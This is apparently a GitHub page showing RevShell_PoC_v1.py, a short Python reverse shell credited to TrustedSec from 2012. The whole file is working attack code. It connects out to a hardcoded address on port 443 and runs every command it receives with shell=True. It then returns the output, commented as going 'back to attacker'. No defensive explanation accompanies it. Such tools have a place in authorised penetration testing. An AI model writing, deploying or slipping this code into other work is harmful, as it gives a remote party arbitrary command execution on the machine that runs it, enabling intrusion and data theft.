-
Notifications
You must be signed in to change notification settings - Fork 67
Expand file tree
/
Copy pathRevShell_PoC_v1.py
More file actions
31 lines (25 loc) · 905 Bytes
/
RevShell_PoC_v1.py
File metadata and controls
31 lines (25 loc) · 905 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python
# Simple Reverse Shell Written by: Dave Kennedy (ReL1K)
# Copyright 2012 TrustedSec, LLC. All rights reserved.
#
# This piece of software code is licensed under the FreeBSD license..
#
# Visit http://www.freebsd.org/copyright/freebsd-license.html for more information.
import socket
import subprocess
HOST = '192.168.225.136' # The remote host
PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# loop forever
while 1:
# recv command line param
data = s.recv(1024)
# execute command line
proc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
# grab output from commandline
stdout_value = proc.stdout.read() + proc.stderr.read()
# send back to attacker
s.send(stdout_value)
# quit out afterwards and kill socket
s.close()